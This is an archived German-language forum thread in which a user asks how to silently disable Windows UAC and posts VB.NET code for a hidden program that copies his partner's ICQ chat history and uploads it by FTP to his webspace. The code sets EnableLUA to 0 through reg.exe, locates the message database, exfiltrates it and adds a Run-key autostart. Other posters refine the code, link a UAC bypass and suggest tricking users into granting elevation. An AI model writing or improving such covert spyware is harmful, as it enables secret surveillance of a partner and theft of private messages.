PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : vb .net | UAC "unbemerkt" abschalten



Cartman1991
06.05.2010, 09:28
Heyo,
Ich würde gern ein ICQ-History Uploader schreiben für Vista, doch ich denke, dass wenn ich die Datei in den Autostart mitreinbring, vista ständig nachfragen wird ob das Programm zugelassen werden soll etc...

Nun meine Frage, gibt es Möglichkeiten um das zu umgehn?
oder unbemert die UAC abzuschalten?

Danke im voraus,
Mfg

krypt0n
06.05.2010, 09:31
AFAIK gibt es aktuell keine public Methoden, bei Win Vista/7 was in den Autostart zu hauen, wenn die UAC aktiviert ist. Lasse mich aber gerne eines Besseren belehren.

Kannst aber mit deinem Programm manuell die nötigen UAC Rechte anfordern, da solltest du auch irgend einen kewlen Text eingeben können, dumme User werden da dann <JA> klicken.

BTW das scheint laut einem stackoverflow Post (http://stackoverflow.com/questions/17533/request-windows-vista-uac-elevation-if-path-is-protected) mit .NET Sprachen aktuell nicht zu funktionieren, es werden aber gleich zwei Workarounds genannt.

Easysurfer
06.05.2010, 13:02
UAC Bypass geht, indem man irgendwie was in winlogon.exe injected ;) Hab mich bisher noch nich mit beschäftigt:

how to bypass UAC in windows 7 / vista - Remote Administration Tool Research forum (http://www.opensc.ws/c-c/8283-how-bypass-uac-windows-7-vista.html)

Greez easy

Cartman1991
06.05.2010, 14:11
Hab mich jetz mal ans ganze Projekt gesetzt und mal den Anfang etwas gewagt,
Steinigt mich nicht gleich, ich bin was vb .net angeht etwas frisch

Hier wär mal der bisherige Code:
Und wenn ich jetzt die Form noch "unsichtbar" oder etwas in der Art mache, müsste es doch klappen, oder?

Ich möchte nicht, dass meine Alte dann was mitbekommt :D

Normal sollte es so durchlaufen,
Beim Formload, schaltet er die uac per Batch aus
Danach testet es erstmal die paar Pfäde von den Windowsversionen durch, ermittelt dann den eingeloggten Benutzernamen,
liest den icq Ordner aus und das Unterverzeichnis das Zahlen enthält soll er dann öffnen, danach nimmt er nur noch die Message datei und läd se hoch
und sollte noch n autostart anlegen, wobei ich mir da nich so ganz sicher bin :O



Imports System.IO
Imports System

Public Class Form1
Dim Benutzername As String
Dim icq_nr As String
Dim Pfad As String
Dim Datei As String

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
'UAC abschalten
Dim p As New Process
p.StartInfo.UseShellExecute = True
Process.Start("C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Pol icies\System /v EnableLUA /t REG_DWORD /d 0 /f")
p.WaitForExit()
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

'Aktueller Benutzer
Benutzername = Environment.UserName

'Hochzladende Datei aus dem Verzeichnis
Datei = "Messages.qdb"

''''''''''''''''''''
'' Pfad ermitteln ''
''''''''''''''''''''
'Pfad ermitteln
If My.Computer.FileSystem.DirectoryExists("C:\") Then

'Win XP Deutsch
If My.Computer.FileSystem.DirectoryExists("C:\Dokumente und Einstellungen\") Then
If My.Computer.FileSystem.DirectoryExists("C:\Dokumente und Einstellungen\" & Benutzername & "\Anwendungsdaten\ICQ\") Then
Pfad = "C:\Dokumente und Einstellungen\" & Benutzername & "\Anwendungsdaten\ICQ\"
icq_nr_get(Benutzername)
Pfad = "C:\Dokumente und Einstellungen\" & Benutzername & "\Anwendungsdaten\ICQ\" & icq_nr
End If

'Win XP Englisch
ElseIf My.Computer.FileSystem.DirectoryExists("C:\Documents and Settings\") Then
If My.Computer.FileSystem.DirectoryExists("C:\Documents and Settings\" & Benutzername & "\AppData\ICQ\") Then
Pfad = "C:\Documents and Settings\" & Benutzername & "\AppData\ICQ\"
icq_nr_get(Benutzername)
Pfad = "C:\Documents and Settings\" & Benutzername & "\AppData\ICQ\" & icq_nr
End If


'Win Vista + 7 Deutsch
ElseIf My.Computer.FileSystem.DirectoryExists("C:\Benutzer\") Then
If My.Computer.FileSystem.DirectoryExists("C:\Benutzer\" & Benutzername & "\AppData\Roaming\ICQ\") Then
Pfad = "C:\Benutzer\" & Benutzername & "\AppData\Roaming\ICQ\"
icq_nr_get(Benutzername)
Pfad = "C:\Benutzer\" & Benutzername & "\AppData\Roaming\ICQ\" & icq_nr
End If

'Win Vista + 7 Englisch
ElseIf My.Computer.FileSystem.DirectoryExists("C:\Users\") Then
If My.Computer.FileSystem.DirectoryExists("C:\Benutzer\" & Benutzername & "\AppData\Roaming\ICQ\") Then
Pfad = "C:\Users\" & Benutzername & "\AppData\Roaming\ICQ\"
icq_nr_get(Benutzername)
Pfad = "C:\Users\" & Benutzername & "\AppData\Roaming\ICQ\" & icq_nr
End If
End If
End If



'''''''''''''
'' UPLOAD ''
'''''''''''''


' lokales Verzeichnis, in dem sich die Datei befindet,
' die hochgeladen werden soll
Dim sLocalPath As String = Pfad & "\"
Dim sLocalFile As String = Datei

' FTP-Server
Dim sFTPHost As String = "ftp://webspace.de/"

' Benutzername und Kennwort für den Server-Zugriff
Dim sUserName As String = "Benutzername"
Dim sPassword As String = "Passwort"

' Datei wie UploadFile-Methode hochladen
My.Computer.Network.UploadFile(sLocalPath & sLocalFile, sFTPHost & My.Computer.Clock.LocalTime.DayOfWeek & "_" & sLocalFile, sUserName, sPassword, True, 500, FileIO.UICancelOption.DoNothing)



'Autorun
AddToAutorun()
End Sub


Function icq_nr_get(ByVal Benutzername)
If My.Computer.FileSystem.DirectoryExists(Pfad) Then
Dim di As New DirectoryInfo(Pfad)
Dim diArr As DirectoryInfo() = di.GetDirectories()
Dim dri As DirectoryInfo
For Each dri In diArr
If dri.Name.Contains("1") Or dri.Name.Contains("2") Or dri.Name.Contains("3") Or dri.Name.Contains("4") Or dri.Name.Contains("5") Or dri.Name.Contains("6") Or dri.Name.Contains("7") Or dri.Name.Contains("8") Or dri.Name.Contains("9") Then
icq_nr = dri.Name
End If
Next dri
End If
End Function

Public Shared Sub AddToAutorun()
Dim key As Microsoft.Win32.RegistryKey = My.Computer.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
key.SetValue(My.Application.Info.ProductName, """" & System.Reflection.Assembly.GetEntryAssembly.Locati on & """")
End Sub
End Class

NoNameMT
06.05.2010, 14:13
Hmm soweit ich weiß kommt dieser Bestätigungsdialog von UAC doch bevor das Programm ausgeführt wird oder irre ich mich da?

Cartman1991
07.05.2010, 06:56
Soviel ich im Internet gelesen habe, erscheint nur ne Dos Box mit der Bestätigung "Vorgang wurde erfolgreich beendet"

Edit:
Sry überlesen, ja die uac, kommt schon davor, aber ich denke mal das wird kein Problem, da ich ja an ihren Pc kann, jedoch nich lang genug um ordner sichtbar zu machen, datei zu kopieren und auf n webspace hochladen ^^

Das nächste Problem ist, dass icq7 die Verläufe nicht von selbst automatisch speichert,
Kennt ihr vllt. irgend ne Seite oder Möglichkeit, ICQ per .net zu konfigurieren?
bzw. müsste ich den Hacken zum Verlauf speichern unter Einstellungen setzen.

Gibts da evtl. ne Konfig datei oder Registry werte?

Mfg

krusty
08.05.2010, 11:36
du machst dir das leben selber schwer, die enviromant funktion sollte dir helfen pfade zu ermitteln:
enviroment("appdata") gibt die den Pfad zum Anwendungsdaten ordner zurück,
enviroment("temp") den zum Temp Verzecihnis.

Du solltest den shell befehl nicht verwenden,
my.computer.regitry... hilft dir die reg zu verwalten.

breez
08.05.2010, 12:16
Du kannst den Autostart auch unter "HKEY_CURRENT_USER" eintragen. Da macht die UAC nämlich keine Probleme. Dafür wird das Programm aber eben nur bei dem aktuellen User gestartet.
Dann wäre dein Programm auch "langlebiger", weil der Autostart-Eintrag nicht durch irgendwelche Sicherheitslücken erstellt wird, die irgendwann geschlossen werden. Wahrscheinlich würde das Programm sogar noch bei den nächsten NT-Versionen von Windows laufen.